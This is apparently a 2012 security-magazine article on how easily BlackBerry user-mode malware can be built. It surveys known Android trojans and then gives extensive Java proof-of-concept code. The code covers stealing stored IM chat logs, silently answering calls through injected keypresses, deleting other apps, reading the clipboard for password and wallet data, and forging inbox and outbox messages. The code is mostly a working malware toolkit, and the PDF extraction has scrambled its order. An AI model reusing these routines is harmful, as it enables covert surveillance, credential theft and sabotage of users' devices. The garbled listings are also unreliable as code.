You are on page 1of 27

Mobile Security

When developers API


simplify user-mode rootkits development
This series of articles is about the ease of which user-mode rootkits for BlackBerry can be developed.

n a previous article, several cases were mentioned along with ideas on how a mobile rootkit could easily be built on the application level by exploiting API and privilege escalation vulnerabilities or oversight. Cases covered the top trojans for two years with the first one being Android Plankton. Instead of giving access to hidden levels of this popular game, malware sends information about the device to criminals and downloads other malicious programs. From the Android Market alone, the infected program was downloaded more than 150,000 times and from alternative resources the number of downloads reached 250,000. Android.Plankton does not exploit known vulnerabilities in operating systems to elevate its own privileges. Instead, it downloads its own service in the background immediately after the launch of the infected application and begins to collect information about the device and sends it to a remote server. Another example was the Android malware DroidKungFu. This malware is capable of rooting the vulnerable Android phones and may successfully evade detection by the current mobile anti-virus software. This malware is identified from four Android apps that have been circulated among at least eight alternative Chinese app markets and forums. The malware will add a new service and receiver into the infected app. The receiver will be notified when the system finishes booting so that it can automatically launch the service without user interaction. Geinimi Trojan includes capacities to gain for: Reading and collecting SMS messages Sending and deleting selected SMS messages

Pulling all contact information and sending it to a remote server (number, name, the time they were last contacted) Placing a phone call Silently downloading files Launching a web browser with a specific URL

Geinimi has three different methods of starting itself. The trojan will first launch itself as its own service. The service allows the trojan to start while the host application appears to functioning normally. Two other ways Geinimi starts revolves around BroadcastReceivers Android events occurring. The trojan will wake itself up from an SMS message. The Geinimi trojan has encrypted the embedded data, payload and all communications however, encryption is weak. The values in the request for commands can be used by the command and control server to identify information about infected devices. The longitude and latitude can then be used to track the location of this specific user. Also, the trojan gathers a list of applications and their activities on the device, sends an SMS to any recipient, deletes SMSs, lists SMSs to specific contacts, lists contacts and their information, calls any number, silently downloads files and launches a web browser with a specific URL. An SMS trojan called Trojan-SMS.AndroidOS.FakePlayer, once installed, actually sends out SMS messages without the users knowledge or consent. Users are prompted to install a small file of around 13KB (have you ever seen such a small media player?). The trojan bundled with it then begins texting premium rate phone numbers. The criminals are actually the ones

56

04/2012

Listing 1. API-routines to design malware MEDIA PLAYER IO (Input/Output)


import java.io.DataInputStream; import java.io.IOException; import java.io.OutputStream;

import javax.microedition.io.Connector;

import javax.microedition.io.file.FileConnection; import net.rim.device.api.io.IOUtilities;

Listing 2a. Code Example how read and write files [malware MEDIA PLAYER IO (Input/Output)]
public static byte[] readFile(String FullName) {

///FullName includes FullPath to file with file name and file extension byte[] data = null; //array of data you want to return (read)

FileConnection fconn = null; DataInputStream is = null;


try

fconn = (FileConnection) Connector.open(FullName, Connector.READ); s = fconn.openDataInputStream(); data = IOUtilities.streamToBytes(is); { }

catch (IOException e) {
finally

try

f (null != is) { } { } s.close();

if (null != fconn)

fconn.close();

} } }

catch (IOException e)

{ }

return data;

public static void writeFile(String FullName, byte[] data) // data is array you want to put into file { FileConnection fconn = null; OutputStream os = null; {
try

///FullName includes FullPath to file with file name and file extension

fconn = (FileConnection) Connector.open(FullName, Connector.READ_WRITE); // create file if one doesnt exist


if (!fconn.exists())

www.hakin9.org/en

57

Mobile Security

Listing 2a. Code Example how read and write files [malware MEDIA PLAYER IO (Input/Output)]
} fconn.create();

os = fconn.openOutputStream(fconn.fileSize()); } os.write(data);

catch (Exception e) {
finally

{ Dialog.alert(e.getMessage());

try

os.close();

} }

fconn.close(); { Dialog.alert(e.getMessage()); }

catch (IOException e)

Listing 3. FilenFolder TreeWalk (breifly)


Vector Path = new Vector();

Path.addElement((String) file:///SDCard/BlackBerry/im); Path.addElement((String) ... - repeat several times Enumeration Path_enum = Path.elements();
while (Path_enum.hasMoreElements())

current_path = (String) Path_enum.nextElement(); to do something

operating these numbers, so they end up collecting the money via charges to the victims accounts. The trojan spyware application known as Zitmo, is designed to steal peoples financial data by listening to all incoming SMS messages and forwarding them to a remote web server. That is a security risk, as some banks now send mTANs via SMS as a one-time password for authentication. By intercepting these passwords, it can not only create fraudulent money transfers, but also verify them. The trojan program OddJob does not require fraudsters to log into a users online bank account to steal from it. Instead, the malware is designed to hijack a users online banking session in real-time by stealing session ID tokens. By stealing the tokens and embedding them into their own browsers, fraudsters can impersonate a legitimate user and access accounts while the user is still active online. The access allows fraudsters to then conduct whatever banking operations the account holder can perform. This approach is different than typical man-in-the browser attacks where attackers use trojans to steal login credentials that are then used to break into online accounts. The second interesting feature in OddJob is its ability to keep an

online banking session open and live even after users think they have logged out of their account. This allows criminals to extract money and continue other fraudulent activity even after the user thinks the session has ended.

BlackBerry Opportunity

Is it really difficult to bring the vulnerabilities to the BlackBerry devices? We are going to see how it is really easy to port these techniques to BlackBerry devices. The first two ideas and proof-of-concepts are about the BlackBerry file-system. As you may know, BlackBerry can encipher the whole file system as well as removed files. Talking about a ciphered file-system, you should understand that this feature makes sense only when all storage cards and memory are removed from devices to extract information, similar to forensic cases. Instead, when you rely on live spying you will get much more information rather trying to decipher it or get the password. First malware concept, the so called media player, based not so much on human bugs as it is on GUI bugs. Unfortunately, humans are not the last point of

58

04/2012

File Paths should be monitored

/Device/Home/User/ if information stored on internal memory /MediaCard/BlackBerry/ if information stored on external memory ../IM/AIM/USERNAME/history/ AIMs history in csv format ../IM/BlackBerryMessenger/PIN/history/ BBMs history in csv format ../IM/GoogleTalk/USERNAME/history/ GTalks history in csv format ../IM/Yahoo/USERNAME/history/ YMessengers history in csv format ../IM/WindowsLive/USERNAME/history/ WLives history in csv format ../pictures Manully added pic or screenshoted data ../camera Photo captured data ../videos Video captured data ../voice notes Voice captured data

defense when we talk about vulnerabilities, trojans, etc. Our behaviour is based on traditions of the past sometimes, as well as tools which used to change with age. In the past, access to files used to be strictly via DOS/Unix system; nowadays we have an aggregation of folders like Music, Photos, Photo-Cameras folder, or Videos. The GUI was developed as a result of the desire for a convenient way to access files. Taking the discussion to file access on our smart phones, audio notes, photos, videos, music, and cameras data are stored in one place (more correctly in two places, on internal storage and external storage like SD-card) and applications are allowed to access these folder paths to extract data in real-time; moreover API access to those same folders are easily obtained. Also, they may associate their listeners with a specific file format like .AMR which used to store your BlackBerry audio notes. They are often stored in the voicenotes folder, named as VN-20120319-xxxx.AMR. As you can see, you do not need to extract its properties to know when it was recorded; you do not even need to link (programmatically) the folder with type of file (logical level) because VN is a voice note. Video files are recorded by the device and named VID-YYYYMMDDXXXXXX.3GP as voice note or picture file. Photos are

named as IMG20120103-xxxx. To talk about a geo-tag per file, a Moskva prefix in added to file name. It is obvious why developers store the name of the file as the city part, date part and increment part. Continuous numbering is allowed in these cases, but why isnt it developed with the increment part then the hash part at the end of file name (XXXX-hash-dot-extension)? Several file-systems differ in the way files should be sorted, but developers are still able to ask device owners what they prefer. Doing this makes things simple, easier to control and a bit more secure, dont you agree? Of course, our media player as malware must have a network connection to get updates despite the fact that each BlackBerry device receives update notifications from AppWorld and OS updates should be received via USB-cable by synchronizing with the BlackBerry Desktop Software. Instead, our application may grab news from an official site, update news, offers to share music status and steal and send cached information (Listing 1-Listing 3). Second malware concept covers BlackBerry chats. If you turn on the option to save chat on internal storage (device) or on external storage (SD-Card) you will be notified about how you should ask interlocutor to agree with recording your chat history. By the way, it doesnt

Figure 1. Logged BlackBerry Conversation

Figure 2. Window of BlackBerry Conversation

www.hakin9.org/en

59

Mobile Security

Figure 3. Logged Google Conversation

Figure 5. Logged WinLive Conversation

Figure 4. Window of Google Conversation

Figure 6. Window of WinLive Conversation Then stores a history folder which contatins .CSV files named by account name of interlocutor like yury.chemerkin@gmail. com. Also, conference/group chats folder are placed here: AIM: Conferences Google: Conferences Windows Live: Conferences Yahoo: Conferences BlackBerry: Group Chats Date/Time PIN Sender PIN Receiver Data HEX VALUE ID Receiver STRING STRING Data STRING

Chat Details

All IM chats (from application developed by RIM) files marked to be saved are often located on the same file paths
INTERNAL STORAGE: file:///store/home/user/im EXTERNAL STORAGE: file:///SDCard/BlackBerry/im

Then stores IM folder per each native IM client IM Folders AIM BlackBerry Messenger Google Talk Windows Live Yahoo

BlackBerry chat csv file format


YYYYMMDDHHMMSSMS HEX VALUE Date/Time YYYYMMDDHHMMSSMS ID Sender STRING

Non-BlackBerry chat csv file format

Then stores folder named as your account such as AIM Account: yury.chemerkin@aim.com Google Account: yury.chemerkin@gmail.com Windows Live Account: yury.chemerkin@hotmail.com Yahoo Account: yury.chemerkin BlackBerry Account: 23436780 (BlackBerry PIN)

60

04/2012

Figure 7. Logged Yahoo Conversation

Figure 9. Logged AIM (AOL) Conversation

work for each, instead, it is a global feature; thats why theres no sense as you see. By default this feature is turned off. However, if you turn on saving you will be surprised by the fact that your data is stored in clear-text. Dont think that only Google, Yahoo, or another nonBlackBerry doesnt encipher them; BlackBerry chats are still not encrypted. Also, Shape IM+ for Linux relies on the root folder only without encryption. Note, that Yahoo Messenger, AIM (AOL) Messenger, Windows Live Messenger, Google Messenger and BlackBerry Messenger are developed by RIM. However, theres a native security solution: no .CSV format by the device except for special programs. Just copy this file to a PC and open it with Notepad. To see formatted chats, you should open it with Excel or OpenOffice.

The same way to store chats You need to turn on saving option feature Notepad or Excel to see them (Figure 1-Figure 10, Listing 4)

Summary
File-system ciphering isnt developed for live spying Chats stored in clear-text You cant read them with device

Third malware concept is based on several APIs acting in stealth mode. At first, you have to catch incoming call events, secondly, you have to simulate an answer event by simulating pressing of the answer button and then you should hide the caller screen to get back the home screen by simulating/pressing the escape button. Answer simulating refers to the Keypad. KEY _ SEND; to release pressing you have to press and release button by simulating KeyCodeEvent.KEY _ DOWN and KeyCodeEvent.KEY _ UP. Before you do this, you should understand that at least 1 second should pass when you get an incoming event to draw a native caller to the screen you managed. Then (when accepting an incoming call) you should hide via Keypad. KEY _ ESCAPE , however if you press the escape button you will be asked whether or not to go to the home

Figure 8. Window of Conversation

Figure 10. Window of AIM (AOL) Conversation

www.hakin9.org/en

61

Mobile Security

Listing 4a. IM Chat Thief


package blackberryChatThief;
import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.util.Vector;

import java.util.Enumeration;

import javax.microedition.io.Connector;

import javax.microedition.io.file.FileConnection; import net.rim.device.api.io.IOUtilities; import net.rim.device.api.ui.Field;

import net.rim.device.api.io.file.ExtendedFileConnection;

import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.Dialog;

import net.rim.device.api.ui.component.ButtonField; import net.rim.device.api.ui.container.MainScreen;

public class BlackBerryChatThiefScreen extends MainScreen implements FieldChangeListener public BlackBerryChatThiefScreen() { setTitle(BlackBerry Chat Thief Application); checkButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER); checkButton.setLabel(Steal your own chat :)); checkButton.setChangeListener(this); add(checkButton);

exitButton = new ButtonField(ButtonField.CONSUME_CLICK | ButtonField.FIELD_HCENTER); exitButton.setLabel(Exit); add(exitButton); exitButton.setChangeListener(this); }

public void fieldChanged(Field field, int param) {


if (field == checkButton)

String string_result; {
try

Vector Path = new Vector(); String current_path = new String(); String current_im = new String(); String current_id = new String(); String root_dir = new String();

String current_conv = new String();

62

04/2012

Listing 4b. IM Chat Thief


Vector log = new Vector(); FileConnection root_sdcard = null; FileConnection root_store = null;
try

{ } { }
try

root_sdcard = (FileConnection)Connector.open(file:///SDCard/);

catch (IOException ex) log.addElement((String) SDCard not found);

catch (IOException ex) log.addElement((String) store not found);

root_store = (FileConnection)Connector.open(file:///store/);

if ((root_sdcard != null) && root_sdcard.exists())

root_dir = file:///SDCard/;

else if ((root_store != null) && root_store.exists())

Path.addElement((String) file:///SDCard/BlackBerry/im);

root_dir = file:///store/home/user/;

Path.addElement((String) file:///store/home/user/im);

Enumeration Path_enum = Path.elements();


if (copyf.exists())

FileConnection copyf = (FileConnection)Connector.open(root_dir + chat.txt); { }

copyf.delete();

copyf.create();

OutputStream writer = copyf.openOutputStream();


if (logger.exists())

FileConnection logger = (FileConnection)Connector.open(root_dir + log.txt); { }

logger.delete();

logger.create();

OutputStream logwriter = logger.openOutputStream(); {


if (!Path_enum.hasMoreElements())

getBytes());

logwriter.write((Directory [ + Path + ] doesnt have subdirs\r\n).

www.hakin9.org/en

63

Mobile Security

Listing 4c. IM Chat Thief


} logwriter.flush();

else

while (Path_enum.hasMoreElements())

logwriter.write((Directory [ + Path + ] has subdirs\r\n).getBytes()); logwriter.flush();

current_path = (String) Path_enum.nextElement();


if (!IM_dir.exists())

FileConnection IM_dir = (FileConnection)Connector.open(current_path); {

r\n).getBytes()); }

logwriter.write((Path [ + IM_dir.getURL() + ] doesnt found\ logwriter.flush();

{ logwriter.flush();

else

logwriter.write((Path [ + IM_dir.getURL() + ] founds\r\n).getBytes());

Enumeration IM_list = IM_dir.list(); {


if (!IM_list.hasMoreElements())

subdirs\r\n).getBytes()); }

logwriter.write((Directory [ + IM_dir.getURL() + ] doesnt have logwriter.flush();

else

{ r\n).getBytes());

while (IM_list.hasMoreElements())

logwriter.write((Directory [ + IM_dir.getURL() + ] has subdirs\ logwriter.flush(); current_path = IM_dir.getURL() + (String) IM_list.nextElement(); FileConnection ID = (FileConnection)Connector.open(current_path); {
if (!ID.exists())

getBytes()); } { getBytes());

logwriter.write((Path [ + ID.getURL() + ] doesnt found\r\n). logwriter.flush();

else

logwriter.write((Path [ + ID.getURL() + ] founds\r\n). logwriter.flush(); current_im = CURRENT IM TYPE :: + ID.getName().substring(0,

ID.getName().length() - 1) + \r\n;

64

04/2012

Listing 4d. IM Chat Thief


//current_im = \r\n--------IM SEPARATOR------\r\n + current_im; Enumeration ID_list = ID.list();
if (!ID_list.hasMoreElements())

{ subdirs\r\n).getBytes()); }

logwriter.write((Directory [ + ID.getURL() + ] doesnt have logwriter.flush();

else

////if (ID_list.hasMoreElements()) { logwriter.write((Directory [ + ID.getURL() + ] has subdirs\ logwriter.flush(); current_path = ID.getURL() + (String) ID_list.nextElement() +

while (ID_list.hasMoreElements())

r\n).getBytes());

history;

open(current_path);

FileConnection history_dir = (FileConnection)Connector.


if (!history_dir.exists())

doesnt exist\r\n).getBytes()); }

logwriter.write((Directory [ + history_dir.getURL() + ] logwriter.flush();

{ - (/history).length());

else

current_id = current_path.substring(0, current_path.length() current_id = current_id.substring(ID.getURL().length(),

current_id.length());// - ID.getURL().length());

//current_id = \r\n--------ID SEPARATOR------\r\n + current_id; current_id = CURRENT ID :: + current_id + \r\n; Enumeration chats = history_dir.list(); {
if (!chats.hasMoreElements())

] doesnt have subdirs\r\n).getBytes());

logwriter.write((Directory [ + history_dir.getURL() + logwriter.flush();

} { ] has subdirs\r\n).getBytes());

else

logwriter.write((Directory [ + history_dir.getURL() + logwriter.flush();

while (chats.hasMoreElements())

www.hakin9.org/en

65

Mobile Security

Listing 4e. IM Chat Thief


chats.nextElement(); current_path = history_dir.getURL() + (String) ExtendedFileConnection chat_file =
if (!chat_file.isDirectory() & !chat_file.getName().

(ExtendedFileConnection)Connector.open(current_path); endsWith(rem))

current_conv = chat_file.getName();

current_conv = CURRENT CHAT :: + current_conv + \r\nCHAT :: \r\n; fileSize()];

--\r\n + current_conv;

//current_conv = \r\n--------CHAT SEPARATOR----

byte[] array = new byte[(int) chat_file.

openInputStream();

InputStream raw_reader = chat_file. array = IOUtilities.streamToBytes(raw_reader); raw_reader.close();

] has read\r\n).getBytes());

logwriter.write((CSV [ + chat_file.getURL() + logwriter.flush(); writer.write(current_im.getBytes()); writer.write(current_id.getBytes()); writer.write(array); writer.write(current_conv.getBytes()); writer.write((\r\n--------separator------

\r\n).getBytes());

] has written\r\n).getBytes()); }

logwriter.write((CSV [ + chat_file.getURL() + logwriter.flush();

} }

logwriter.write((DONE\r\n).getBytes()); logwriter.flush(); writer.flush(); string_result = DONE; writer.close();

logwriter.flush(); copyf.close();

logwriter.close();

66

04/2012

Listing 4f. IM Chat Thief


} { } } { } catch (Exception ex) string_result = ex.toString() + || + ex.getMessage();

Dialog.alert(string_result);

else if (field == exitButton)

System.exit(0);

} }

Figure 11. Before Call

Figure 13. Answering

screen. Therefore malware has to simulate an agreement via Keypad.KEY _ ENTER to successfully bypass the user eyes. Where it is all at, no one has another API to make your own caller screen and manage the in-

coming calls. To extend impacting to simulate physical input, you can read my 2nd article (Hakin9, Is Data Secure On The Password Protected Blackberry Device). However, it is easy to put a symbol in the

Figure 12. Incoming Call

Figure 14. Escaping to the Home Screen

www.hakin9.org/en

67

Mobile Security

Listing 5a. Caller Malware


package blackBerryPhoneEmulation;
import net.rim.blackberry.api.phone.Phone;

import net.rim.blackberry.api.phone.PhoneCall;

import net.rim.blackberry.api.phone.PhoneListener; import net.rim.device.api.system.EventInjector; import net.rim.device.api.system.EventInjector.KeyCodeEvent; import net.rim.device.api.ui.UiApplication;

public class BlackBerryPhoneEmulationApp extends UiApplication implements PhoneListener { int sleep_time = 1000; {

public static void main(String[] args) BlackBerryPhoneEmulationApp theApp = new BlackBerryPhoneEmulationApp(); theApp.enterEventDispatcher();

public BlackBerryPhoneEmulationApp() { pushScreen(new BlackBerryPhoneEmulationScreen()); Phone.addPhoneListener(this);

} {

public void close() Phone.removePhoneListener(this); System.exit(0);

public void callIncoming(int callId) { final PhoneCall call = Phone.getCall(callId);

final String number = call.getDisplayPhoneNumber();

DOWN, (char) Keypad.KEY_SEND, 0);

EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_ EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.


try

KEY_UP, (char) Keypad.KEY_SEND, 0); { }

Thread.sleep(sleep_time);

catch (InterruptedException e) {} EventInjector.invokeEvent(pressKey);

EventInjector.invokeEvent(releaseKey);

68

04/2012

Listing 5b. Caller Malware


public void callAdded(int callId) {} public void callAnswered(int callId) {} public void callConnected(int callId) {

public void callConferenceCallEstablished(int callId) {}

EventInjector.KeyCodeEvent pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) EventInjector.KeyCodeEvent releaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ESCAPE, 0); {
try

Keypad.KEY_ESCAPE, 0);

// Waiting a caller screen have been drawn

Thread.sleep(sleep_time);

catch (InterruptedException e) {} }

EventInjector.invokeEvent(pressKey);

EventInjector.invokeEvent(releaseKey);

///Releasing Escaping to the Home Screen

pressKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_DOWN, (char) Keypad.KEY_ENTER, 0); eleaseKey = new EventInjector.KeyCodeEvent(KeyCodeEvent.KEY_UP, (char) Keypad.KEY_ENTER, 0);
try

Thread.sleep(sleep_time);

//Waiting prompt screen have been drawn

catch (InterruptedException e) {} EventInjector.invokeEvent(pressKey);

EventInjector.invokeEvent(releaseKey); }

///Accepting Escaping to the Home Screen

public void callDirectConnectConnected(int callId) {} public void callDisconnected(int callId) {} public void callEndedByUser(int callId) {} public void callHeld(int callId) {}

public void callDirectConnectDisconnected(int callId) {}

public void callFailed(int callId, int reason) {} public void callInitiated(int callid) {} public void callResumed(int callId) {} public void callWaiting(int callid) {} } public void callRemoved(int callId) {}

public void conferenceCallDisconnected(int callId) {}

www.hakin9.org/en

69

Mobile Security

Figure 15. App list with Victim app

Figure 18. Details of deleted victim app

Figure 16. Details of Victim Apps

text field, while putting a string by one symbol and track-wheel moving is too difficult although it may be enough to input passwords (Figure 11-Figure 14, Listing 5).

Figure 17. App List with deleted victim app

Fourth malware concept is about destructive interaction. What is a common thesis when someone talks about security? A security component must not be deleted because it brings down a security wall. Why doesnt malware delete all applications and modules installed on your device? Some applications consist of several modules and one removed crash down after the first successful reboot. Another attack vector, BlackBerry Enterprise Server offers application controlling by resending modules to selected devices regarding IT Policy. If a malware application turns off wireless to crash the device then no one policy saves the device. When you install an application you are asked to choose permissions that you grant to this application. As you know from my articles about screenshot catching, the device sometimes should ask what windows are allowed to interact with screenshot and which arent allowed. This case is the same and all you need to delete other applications is a name and permission to interact with Application Manager. How do you extract data about applications? The easiest way to interrupt user flows is to grab active applications at current time via ApplicationManager. getApplicationManager().getVisibleApplications();. When the application list has got malware grabs LocalizedName and ModuleHandle to find them in Application Manager lists and deletes by using: ModuleHandle. Thats all (Figure 15-Figure 18, Listing 6). Fifth malware concept manages with Clipboard. From previous zsndroid malware cases I retell in the beginning you learn password may extract from SMS or GET/ POST requests. My case refers to Password Keeper and BlackBerry Wallet, which are both developed by RIM; also, it is native and pre-installed by default. The first application is designed to keep passwords more than the second, which is designed to keep not only passwords but also banking data. Extract essential information stored in BlackBerry backups. Elcomsoft BlackBerry Backup Explorer allows forensic specialists

70

04/2012

Listing 6a. Code Example how find application among set of applications already running and how delete application
package blackBerryDeleterpackage;
import net.rim.device.api.system.ApplicationDescriptor; import net.rim.device.api.system.CodeModuleManager; import net.rim.device.api.ui.Field; import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.system.ApplicationManager;

import net.rim.device.api.ui.component.ButtonField; import net.rim.device.api.ui.container.MainScreen;

public final class BlackBerryDeleterScreen extends MainScreen implements FieldChangeListener { ButtonField bt_find = null; TextField tf2 = null; String stf2 = ;

ButtonField bt_delete = null;

public BlackBerryDeleterScreen() { // Set the displayed title of the screen setTitle(BlackBerryDeleterTitle); bt_find = new ButtonField(); tf2 = new TextField();

bt_delete = new ButtonField(); bt_find.setLabel(FIND APP);

bt_delete.setLabel(DEL APP);

bt_find.setChangeListener(this); tf2.setLabel(INFO\r\n); add(tf2); add(bt_find); }

bt_delete.setChangeListener(this);

add(bt_delete);

public void fieldChanged(Field field, int context) {


if (field == bt_find)

//BUTTON FIND APPLICATION { {


try

int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle(); ApplicationDescriptor desc = null;


try

ApplicationDescriptor[] descs = null; {

getVisibleApplications();

descs = ApplicationManager.getApplicationManager().

www.hakin9.org/en

71

Mobile Security

Listing 6b. Code Example how find application among set of applications already running and how delete application
int handle = 0; stf2 += length = + descs.length + \r\n; {
for (int i = 0; i < descs.length; i++)

stf2 += || + descs[i].getLocalizedName() + || + \r\n; stf2 += || + descs[i].getModuleHandle() + || + \r\n; {


if (descs[i].getModuleName().compareTo(BlackBerryFILEIO) == 0)

handle = descs[i].getModuleHandle(); }

stf2 += descs[i].getModuleName() + \r\n;

else if (descs[i].getLocalizedName().compareTo(BlackBerry FILE IO) == 0)

handle = descs[i].getModuleHandle();

}
try

stf2 += descs[i].getLocalizedName() + \r\n;

{ }

if (handle > 0)

stf2 += app found + \r\n;

{ }

else

stf2 += handle null + \r\n;

} { }

catch (Exception e) stf2 += e.getMessage() + \r\n;

} { }

catch (Exception e) stf2 += e.getMessage() + \r\n;

} { }

catch (Exception e) stf2 += e.getMessage();

tf2.setText(stf2); }
else if (field == bt_delete)

//BUTTON DELETE APPLICATION {


try

int curr_app = ApplicationDescriptor.currentApplicationDescriptor().getModuleHandle(); ApplicationDescriptor desc = null;

72

04/2012

Listing 6c. Code Example how find application among set of applications already running and how delete application
ApplicationDescriptor[] descs = null; {
try

descs = ApplicationManager.getApplicationManager().getVisibleApplications(); int handle = 0; stf2 += length = + descs.length + \r\n; {


for (int i = 0; i < descs.length; i++)

stf2 += || + descs[i].getLocalizedName() + || + \r\n; stf2 += || + descs[i].getModuleHandle() + || + \r\n; {


if (descs[i].getModuleName().compareTo(BlackBerryFILEIO) == 0)

handle = descs[i].getModuleHandle();

else if (descs[i].getLocalizedName().compareTo(BlackBerry FILE IO) == 0)

stf2 += descs[i].getModuleName() + \r\n;

handle = descs[i].getModuleHandle();

}
try

stf2 += descs[i].getLocalizedName() + \r\n;

if (handle > 0)

CodeModuleManager.deleteModuleEx(handle, true); stf2 += true delete + \r\n;

{ }

else

stf2 += handle null + \r\n;

} { }

catch (Exception e) stf2 += e.getMessage() + \r\n;

} { }

catch (Exception e) stf2 += e.getMessage() + \r\n;

} { }

catch (Exception e) stf2 += e.getMessage();

tf2.setText(stf2); } }

www.hakin9.org/en

73

Mobile Security

Listing 7. Clipboard exploitation (How extract data to steal data, and how to put data to mislead someone)
import net.rim.device.api.ui.component.TextField; import net.rim.device.api.system.Clipboard;

import net.rim.device.api.ui.container.MainScreen;

public final class BlackBerryClipboardScreen extends { MainScreen

public BlackBerryClipboardScreen() { setTitle(BlackBerryClipboardTitle);

Clipboard clipb = Clipboard.getClipboard();

Figure 19. BB Wallet. Creating & Stealing

investigating the content of BlackBerry devices by extracting, analyzing, printing or exporting the content of a BlackBerry backup produced with BlackBerry Desktop Software. But Elcomsoft manages to work with exported data that you back up. RIM made a good security solution to restrict any access attempts to the clipboard while their applications are active. If you try to grab data youll get the error message Unauthorized attempt to attach to this application. Dont panic, because when a user minimizes it or closes it, a successful data extraction happens. If you want to know whether BlackBerry Wallet (or Password Keeper) is running now, use the code example on how to find application (Figure 19-Figure 20, Listing 7). Screenshotting has been discussed many times, therefore I highlight that this feature can easily bypass security flows when the user restricts other permissions. For example, if user restricts a GEO permission you listen to active applications for catching screen shot of a map that the user is seeing at current time. When the map application starts it often shows

TextField tf1 = new TextField(); add(tf1); add(tf2); add(tf3); TextField tf2 = new TextField(); TextField tf3 = new TextField();

tf1.setLabel(to_string : < + clipb. // SHOW CLIPBOARD AS STRING OBJECT toString() + >);

String str = ; {
try

str = (String)clipb.get(); // GET CLIPBOARD DATA { }

catch (Exception e) {
try

clipb.put(PUT);

// CLIPBOARD SET BY WORD PUT

catch (Exception e) { } tf2.setLabel(getted : < + str + >);


try

// SHOW THAT CLIPBOARD DATA HAS BEEN STOLEN

str = (String)clipb.get(); // GET NEW CLIPBOARD DATA { }

catch (Exception e)

tf3.setLabel(getted : < + str + >);

// SHOW THAT CLIPBOARD SET BY WORD PUT

Figure 20. BB Wallet. Showing & Stealing

74

04/2012

Listing 8a. MESSAGE MISLEADING


package blackBerryMessageMisleading;
import java.io.DataInputStream; import java.io.IOException; import java.util.Date;

CONSUME_CLICK | ButtonField.FIELD_ checkiButton.setLabel(Inbox Misleading); add(checkiButton); HCENTER);

checkiButton.setChangeListener(this);

checkiaButton = new ButtonField(ButtonField. HCENTER);

import javax.microedition.io.Connector;

CONSUME_CLICK | ButtonField.FIELD_

import javax.microedition.io.file.FileConnection; import net.rim.blackberry.api.mail.Address; import net.rim.blackberry.api.mail.Folder;

checkiaButton.setLabel(Inbox Attach checkiaButton.setChangeListener(this); add(checkiaButton); Misleading);

import net.rim.blackberry.api.mail.AddressException;

import net.rim.blackberry.api.mail.Message;

import net.rim.blackberry.api.mail.MessagingException; import net.rim.blackberry.api.mail.Multipart; import net.rim.blackberry.api.mail.

checkoButton = new ButtonField(ButtonField. HCENTER);

CONSUME_CLICK | ButtonField.FIELD_

import net.rim.blackberry.api.mail.PINAddress; import net.rim.blackberry.api.mail.Session; import net.rim.blackberry.api.mail.Store; import net.rim.blackberry.api.mail.

NoSuchServiceException;

checkoButton.setLabel(Outbox Misleading); checkoButton.setChangeListener(this); add(checkoButton);

checkpoButton = new ButtonField(ButtonField. HCENTER);

import net.rim.device.api.io.IOUtilities; import net.rim.device.api.ui.Field;

SupportedAttachmentPart;

CONSUME_CLICK | ButtonField.FIELD_

import net.rim.device.api.io.MIMETypeAssociations; import net.rim.device.api.ui.FieldChangeListener; import net.rim.device.api.ui.component.Dialog;

checkpoButton.setLabel(OutBox PIN MISLEAD); checkpoButton.setChangeListener(this); add(checkpoButton);

import net.rim.device.api.ui.component.ButtonField; import net.rim.device.api.ui.component.TextField;

checkpiButton = new ButtonField(ButtonField. HCENTER);

CONSUME_CLICK | ButtonField.FIELD_

import net.rim.device.api.ui.container.MainScreen;

checkpiButton.setLabel(InBox PIN MISLEAD); checkpiButton.setChangeListener(this); add(checkpiButton);

public final class BlackBerryMessageMisleadingScreen extends MainScreen implements FieldChangeListener

tf = new TextField(); tf.setText(); } add(tf);

private ButtonField checkiButton = null;

tf.setLabel(enter fake pin);

private ButtonField checkoButton = null;

private ButtonField checkpoButton = null; private ButtonField checkpiButton = null; private ButtonField checkiaButton = null; TextField tf = null;

public void fieldChanged(Field field, int param) {


if (field == checkoButton)

public BlackBerryMessageMisleadingScreen() { setTitle(BlackBerry Message Misleading); TextField textfield = new TextField(); BlackBerry Technology); textfield.setLabel(Mislead yourself via add(textfield);

String res = ;

= true;//false;\ DELIVERED ^_^;

boolean odelivered //MESSAGE WILL BE String omessage =

checkiButton = new ButtonField(ButtonField.

www.hakin9.org/en

75

Mobile Security

Listing 8b. MESSAGE MISLEADING


//MESSAGE BODY null; Address oaddress =
try

length() > 0)
from fextfield

if (tf.getText().

//GET RECIPIENT PIN {

= new Address(fake@ololo.com, trololo friend); NEW RECIPIENT

oaddress

alert(MisLeadSentPIN(tf. getText()));

Dialog.

//SET A

MESSAGE BUILDER }

//PIN }

(AddressException e) e.getMessage(); }

catch

{ res +=

else if (field == checkpiButton) if (tf.getText().

MisLeadSentMessage(oaddress, omessage, odelivered); BUILDER } //EMAIL MESSAGE

res +=

length() > 0)
from textfield

//GET SENDER PIN {

Dialog.alert(Result for you :: + res);


else if (field == checkiButton)

alert(MisLeadInboxPIN(tf. getText()));

Dialog.

MESSAGE BUIDLER } {

//PIN }

String res = ;

^_^;

String imessage = //MESSAGE BODY

else if (field == checkiaButton)

null;

Address iaddress =
try

String res = ;

^_^;

String imessage =

//MESSAGE BODY

= new Address(fake@ololo.com, trololo friend); SENDER ADDRESS //

iaddress

= null;

Address iaddress

try

= new Address(fake@ololo.com, trololo friend); //

iaddress

(AddressException e) e.getMessage(); }

catch

{ res +=

MESSAGE SENDER

MisLeadInboxMessage(iaddress, imessage); BUILDER //EMAIL MESSAGE Dialog.

res +=

(AddressException e) e.getMessage(); }

catch

{ res +=

xMessageAttach(iaddress, imessage); BUIDLER } //EMAIL MESSAGE

res += MisLeadInbo

alert(Result for you :: + res);


else if (field == checkpoButton)

Dialog.alert(Result for you :: + res); }

76

04/2012

Listing 8c. MESSAGE MISLEADING


